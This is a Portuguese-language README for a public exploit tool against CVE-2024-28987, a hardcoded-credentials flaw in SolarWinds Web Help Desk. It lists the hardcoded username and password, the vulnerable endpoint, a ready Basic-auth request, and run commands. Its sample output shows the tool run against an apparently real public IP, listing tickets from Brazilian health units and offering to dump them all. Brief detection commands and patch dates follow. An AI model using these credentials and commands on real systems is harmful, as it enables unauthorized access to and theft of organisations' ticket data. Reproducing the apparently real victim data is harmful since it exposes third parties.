
**CVE-2024-28987** é uma vulnerabilidade crítica no SolarWinds Web Help Desk (WHD) que permite que atacantes remotos acessem informações sensíveis de chamados usando **credenciais hardcoded**. Esta vulnerabilidade possui uma **pontuação CVSS de 9.1 (Crítica)** e está sendo ativamente explorada na natureza.
⚠️ AVISO: Esta ferramenta é exclusivamente para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta somente em sistemas que você possua ou para os quais tenha permissão explícita de teste.
CVE-2024-28987 é uma vulnerabilidade crítica no SolarWinds Web Help Desk (WHD) que permite a atacantes remotos acessar informações sensíveis de chamados usando credenciais fixas (hardcoded). Esta vulnerabilidade possui pontuação CVSS de 9.1 (Crítica) e está sendo ativamente explorada no mundo real.
Um atacante não autenticado pode:
/OrionTickets# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 Estrutura de Arquivos
CVE-2024-28987/
├── cve-2024-28987.py # Script de exploração principal
├── README.md # Este arquivo
└── LICENSE # Licença MIT
Arquivos de Saída
Quando você extrai chamados, os seguintes arquivos são criados:
138_94_193_65_8098_tickets.json
***_tickets.jsonl
🔍 Detalhes Técnicos
Credenciais Fixas
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
Endpoint Afetado
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Exemplo de Requisição HTTP
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ Remediação
Ações Imediatas
Comandos de Detecção
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 Aviso da CISA KEV
Esta vulnerabilidade foi adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA. As organizações são obrigadas a aplicar a correção até o prazo especificado.
Data de Adição: 15 de outubro de 2024
Ação Necessária: Aplicar atualizações conforme as instruções do fornecedor
Prazo Final: 5 de novembro de 2024 (21 dias)
📚 Referências
NVD CVE-2024-28987
Catálogo KEV da CISA
Aviso de Segurança da SolarWinds
PEP 668 - Gerenciamento de Ambiente Externo
🤝 Contribuindo
Contribuições são bem-vindas! Sinta-se à vontade para enviar pull requests ou abrir issues.
Diretrizes
📝 Licença
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
⚡ Autor
Darabium - Trabalho inicial - GitHub
⚠️ Notas Importantes
🌟 Histórico de Estrelas
Se você achar esta ferramenta útil, por favor, dê uma ⭐ no GitHub!
📞 Suporte
Feito com ❤️ para o Darabium
| Atributo | Valor |
|---|
| CVE ID | CVE-2024-28987 |
| Pontuação CVSS | 9.1 (Crítica) |
| CWE | CWE-798 (Credenciais Fixas) |
| Produtos Afetados | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Versão Corrigida | 12.8.3 Hotfix 2 |
| Exploração | Ativamente explorada no mundo real |
| Adicionada à CISA KEV | 15 de outubro de 2024 |